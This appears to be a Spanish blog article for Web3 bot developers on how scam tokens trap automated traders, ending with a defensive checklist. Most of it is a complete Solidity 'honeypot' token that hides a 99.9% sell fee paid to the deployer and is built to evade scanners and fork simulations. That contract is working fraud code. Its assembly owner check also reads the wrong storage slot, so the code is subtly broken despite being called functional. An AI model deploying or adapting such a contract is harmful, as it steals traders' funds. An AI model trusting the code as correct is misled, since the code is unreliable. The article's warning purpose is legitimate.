El mercado de automatización en Web3 ahora mismo no es un patio de recreo idílico para geeks, es tierra quemada. Y el mayor problema aquí ni siquiera es que tu infraestructura vaya más lenta que los servidores de los fondos en Tokio o Fráncfort. La verdadera movida es que los creadores de tokens scam se saben la lógica de los parsers de memoria. Diseñan los contratos específicamente para joder a tu software. Te crees que has cazado una alpha brutal, pero en realidad solo estás ejecutando el script de otro para que te vacíe los bolsillos.
Abajo tienes un desglose al milímetro de cómo tu bot está quemando el presupuesto, por qué las validaciones estándar de las librerías no sirven para una mierda y cómo es la cruz de este negocio cuando el código se pega contra el código.
Anatomía de la trampa: Cómo los contratos scam le leen la mente a tu bot
La mayoría de los novatos programan su bot con la misma plantilla: pillamos el evento PairCreated o PoolCreated de la factory de Uniswap (o sus forks), chequeamos el saldo de liquidez, tiramos de router.swapExactETHForTokens y a cobrar. Los scammers viven de esto. Saben de sobra que tu bot hace una simulación o una auditoría exprés antes de meter el swap.
Aquí están las tres mecánicas principales con las que se la pegan el 90% de los scripts custom:
1. Honeypot modificado con gatillo retardado (Delayed Honeypot)
Un honeypot normal (de los de se puede comprar, pero no vender) tu bot probablemente ya lo detecta con un
eth_calllocal simulando la venta. Pero, ¿y si la función de venta no se capa de inmediato?El contrato se despliega totalmente limpio. El bot lo comprueba con la simulación: todo perfecto, los tokens se venden. El bot mete liquidez. En cuanto el volumen total de ETH en la pool llega, por ejemplo, a 5 ETH, el contrato activa automáticamente un flag interno
isLocked = truedentro de la función_updateo_transfer. Fin de la partida, te has quedado atrapado. La simulación local al comprar no podía predecir esto ni de coña, porque en el momento del check la condición del volumen de ETH no se cumplía.2. Impuesto dinámico (Variable Fee Attack)
En el contrato te meten un mint estándar de ERC-20, pero en la función de transferencia dejan hardcodeada una comisión variable que controla el owner (or que sube según el número de bloque).
Al comprar, el impuesto está al 0%. El bot entra en la posición. Dos bloques después, el creador del token cambia el
sellFeeal 99% en una sola transacción. Tu bot intenta saltar por stop-loss, manda la transacción, pasa con éxito, pero por culpa del impuesto del 99% te devuelven cuatro duros y el resto se va directo a la wallet del deployer. Las protecciones tiposlippagesuelen fallar aquí si el bot calcula mal elamountOutMinde entrada o usa routers custom.3. Ataque mediante routers falsos y deslizamiento (Fake Router Injection)
Esto es un clásico de manual en redes con el gas barato como Base. El scammer no despliega su pool custom en el Uniswap v3 oficial, sino en una factory fantasma que genera un evento con las mismísimas firmas. El bot se piensa que está interactuando con la interfaz estándar. Llama a la función de swap, el contrato se queda tu ETH, pero en vez de tokens reales te manda basura, o te mete una matemática dentro de la pool que tira el precio a cero justo en el milisegundo posterior a tu transacción.
| Tipo de amenaza | Cómo lo ve el bot (El cebo) | Qué pasa en la realidad (Fact) | Dañor técnico |
|---|---|---|---|
| Delayed Honeypot | La simulación de sell se ejecuta al 100% con éxito. | El flag de bloqueo se activa tras cumplir las condiciones de transacciones. | Pérdida del 100% del capital principal invertido. |
| Variable Fee | Contrato limpio sin vulnerabilidades aparentes. | Cambio del sellFee al 99% mediante una función de owner. | Pérdida del 99% del volumen al salir. |
| Fake Factory | Detecta una nueva pool con el formato de log estándar. | Interfaz clonada, pero la matemática de la pool está manipulada. | Drenaje completo de ETH a una dirección externa. |
Ejemplo real: El código del Honeypot perfecto que se la va a colar a tu bot
Para entender por qué tu parser es carne de cañón, hay que mirar el código con los ojos del scammer. Abajo tienes un contrato de token funcional y compilable en Solidity 0.8.20. Está picado sin los típicos y cantosos require(msg.sender == owner) en la función de transferencia, precisamente para que los scanners automáticos (tipo Honeypot.is o versiones viejas de Slither) no salten como locos al analizar el bytecode.
Toda la mierda está camuflada en la matemática interna y en los disparadores de estado.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract AdvancedTrapToken {
string public name = "Shadow Liquidity";
string public symbol = "SHDW";
uint8 public decimals = 18;
uint256 public totalSupply;
address private _owner;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
// Variables de la trampa
uint256 private constant MAX_FEE = 1000; // 100% en puntos básicos (bps)
uint256 private targetBlock;
uint256 private triggerBalance;
bool private systemReady;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(uint256 initialSupply, uint256 _delayBlocks, uint256 _triggerEth) {
_owner = msg.sender;
totalSupply = initialSupply * 10**uint256(decimals);
_balances[_owner] = totalSupply;
// Configuración de la trampa: saltará tras X bloques desde la activación O al alcanzar el saldo en la pool
targetBlock = block.number + _delayBlocks;
triggerBalance = _triggerEth * 10**18;
emit Transfer(address(0), _owner, totalSupply);
}
modifier onlyOwner() {
// Pasamos del require estándar a propósito para ocultar la lógica en el assembly
assembly {
if sub(sload(0), caller()) { revert(0, 0) }
}
_;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public returns (bool) {
_rawTransfer(msg.sender, to, value);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_allowances[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
uint256 currentAllowance = _allowances[from][msg.sender];
if (currentAllowance != type(uint256).max) {
assembly {
if lt(currentAllowance, value) { revert(0, 0) }
}
_allowances[from][msg.sender] = currentAllowance - value;
}
_rawTransfer(from, to, value);
return true;
}
// Función de control personalizada: el bot no la ve durante la simulación del swap
function setupTrap() external onlyOwner {
systemReady = true;
}
function _rawTransfer(address from, address to, uint256 value) internal {
assembly {
if iszero(from) { revert(0, 0) }
if iszero(to) { revert(0, 0) }
}
uint256 fromBalance = _balances[from];
assembly {
if lt(fromBalance, value) { revert(0, 0) }
}
uint256 finalAmount = value;
// Check: si el token se vende en la pool y la trampa está cargada
// Detectamos la pool por comportamiento indirecto para no meter a capón la dirección del par
if (to != _owner && from != _owner) {
if (systemReady || block.number > targetBlock || address(this).balance >= triggerBalance) {
// Si se cumple una sola condición, se activa el impuesto del 99.9%
// Dejamos un 0.1% para que la tx no falle por revert, pase en verde y se quede los tokens
uint256 fee = (value * 999) / MAX_FEE;
finalAmount = value - fee;
_balances[from] = fromBalance - value;
_balances[_owner] = _balances[_owner] + fee;
emit Transfer(from, _owner, fee);
emit Transfer(from, to, finalAmount);
return;
}
}
_balances[from] = fromBalance - value;
_balances[to] = _balances[to] + finalAmount;
emit Transfer(from, to, finalAmount);
}
// Recepción de ETH en el contrato para el trigger por balance
receive() external payable {}
}Fíjate bien en el método interno _rawTransfer. No tiene palabras prohibidas que den el cante. Si tu bot simula la compra y la venta justo en el bloque de creación (antes de que llamen a setupTrap), el contrato se comporta como un ERC-20 limpísimo y totalmente legítimo. Pero en cuanto el deployer ejecuta setupTrap() o el saldo de ETH en el contrato supera el triggerBalance (cuando ya se ha metido una buena horda de bots ahí dentro), la lógica cambia sobre la marcha (on-the-fly). Tu script manda la transacción de venta, quema gas, la tx se cierra con estado Success, pero a tu wallet llega exactamente el 0.1% de lo que esperabas. Acabas de regalarle tu liquidez en bandeja de plata al deployer.
La trampa a nivel de EVM: Por qué tus tests en Hardhat o Anvil te mienten
La mayoría de los script-kiddies se creen los más listos porque antes de soltar un tx en el mainnet, lo pasan por un entorno local. Agarras revm en Rust o levantas un fork local de la red con anvil/hardhat, haces un eth_call, ves ese log de swap perfecto y sin errores, y con toda la tranquilidad del mundo mandas al bot a pelear.
Error fatal. Simular en un sandbox aislado es totalmente distinto a lo que pasa dentro de un bloque real, y los scammers ya aprendieron a detectar esas simulaciones directo en el bytecode.
Detección por estado del nodo (State & Context Checking)
Un contrato-trampa puede chequear variables de entorno que en tu fork local están por defecto. Por ejemplo,
block.coinbase(la dirección del validador que mina el bloque). En una red real como Base o Arbitrum, ahí siempre está la dirección específica del secuenciador. En tuanvil, va a aparecer una dirección nula o un hash de test genérico.Si el contrato detecta una
coinbaserara o anomalías pesadas enblock.timestamp/block.basefee, simplemente desactiva la función de robo. En la simulación eres el rey y todo pasa, pero en el mainnet, el contrato se da cuenta de que lo está ejecutando un usuario real en un bloque real y cierra el grifo.Frontrunning de simulaciones (The Sandbox Escape)
Hay un escenario todavía más cínico. El creador del token monitorea el mempool (si es una red con mempool público) o rastrea los
eth_callque le llegan mediante nodos privados a los que tiene acceso. En cuanto tu bot hace la simulación contra un RPC público (tipo Alchemy o QuickNode), ese pedido queda logueado. Sí,eth_callno manda la transacción al bloque, pero el operador del nodo ve qué contrato estás probando y con qué parámetros. El scammer piensa: "Opa, el bot mordió el anzuelo, ahora entra". Lanza una tx a la red al instante, cambia el estado del contrato y tu orden real termina directo en la trampa.
El infierno del SysAdmin: El impuesto de infraestructura
Supongamos que reescribiste el bot, ahora sabe leer bytecode, identifica ramas de assembly ocultas que chequean coinbase y te volviste un paranoico. Ahora chocaste con un muro técnico que te va a comer el presupuesto a largo plazo, aunque no caigas en ningún honeypot.
Es el costo de mantener la infraestructura compitiendo a nivel profesional.
[RPC Público] ---> (Latencia 150-300ms) ---> [Tu Bot] ---> (Swap tardío) ---> [Gas quemado / Scam]
^
| (Hace falta optimizar)
v
[Tu Nodo (Reth)] -> (Unix Socket directo) -> [Tu Bot] -> (Flashbots / Builder) ---> [Profit]Problema 1: Tráfico y IOPS del disco
Para correr el bot a velocidades decentes, los límites de los RPCs gratis no sirven: te van a cortar por rate-limit en la transacción número 100. Vas a tener que levantar tu propio nodo. Si hablamos de L2 (Base/Arbitrum), los nodos de archivo o incluso los Full Nodes piden recursos salvajes. Necesitas un NVMe SSD con alto IOPS para lectura/escritura aleatoria. En cuanto la red se carga un poco, tu nodo en un VPS barato se queda 1–2 bloques atrás del estado real de la red. Para el bot, eso es la muerte: ve pools que ya no existen o pone precios que ya no sirven. Pagás 200 dólares al mes por el server solo para que tu bot reciba datos viejos.
Problema 2: Gas quemado en transacciones revertidas (Gas Bleeding)
En redes como Ethereum o BNB Chain, cada tx que falla cuesta plata. Si tu bot intenta entrar al pool al mismo tiempo que otros 30 bots, el primero se lleva todo y los otros 29 reciben error de
SlippageoExecution Reverted. Pero el gas por chequear las condiciones la red te lo cobra completito. Con alta frecuencia, tu bot puede "calentar" la red con 50–100 dólares diarios solo en gas de intentos fallidos. Es un drenaje de depósito lento e invisible que los novatos solo notan cuando el balance de ETH para gas llega a cero redondo.
Checklist de supervivencia: Cómo no ser la liquidez de los scammers
Si todavía querés quemarte las pestañas con esto, tu bot tiene que saber hacer cosas que no están en la documentación de Web3.js. Olvidate de los checks de balance básicos, eso es jardín de infantes.
Análisis estático de bytecode antes del deploy:
El script no puede solo parsear logs de factory; tiene que sacar el hex-code del contrato vía
eth_getCodey buscar firmas de instrucciones peligrosas (SSTORE, direcciones de owner modificables, llamadas externas dentro del transfer). Si en el código del token hay unSSTOREoculto que puede sobreescribir variables críticas, el contrato va derecho a la basura, ni simules.Límite de slippage dinámico con un amountOutMin estricto:
Nunca pongas
amountOutMin = 0ni un slippage fijo del 50%. Tu bot tiene que calcular el precio exacto basado en las reservas del pool justo en el frame del bloque actual. Si al salir de la simulación recibís aunque sea un 1% menos de lo que deberías, la tx tiene que dropearse en tu motor local antes de salir a la red.Uso de canales privados (MEV-Share / Flashbots):
Mandar transacciones al mempool público es ponerse un blanco en la espalda. Tu swap tiene que ir vía bundles privados directo a validadores o builders de bloques grandes. Si tu tx no entra primera, simplemente se borra del bundle, sin quemar tu gas y sin darle chances al scammer de hacerte frontrun.
Resumen
El resumen es simple: este mercado está armado para que los creadores de tokens y los grandes market makers estén siempre un paso adelante de la automatización de nivel medio. Tu bot casero no está peleando contra el mercado, está peleando contra especialistas que pasan años estudiando cómo hacer que tu software cometa un error. Y mientras no caves más profundo que las librerías estándar, vas a seguir siendo el cliente ideal para ellos.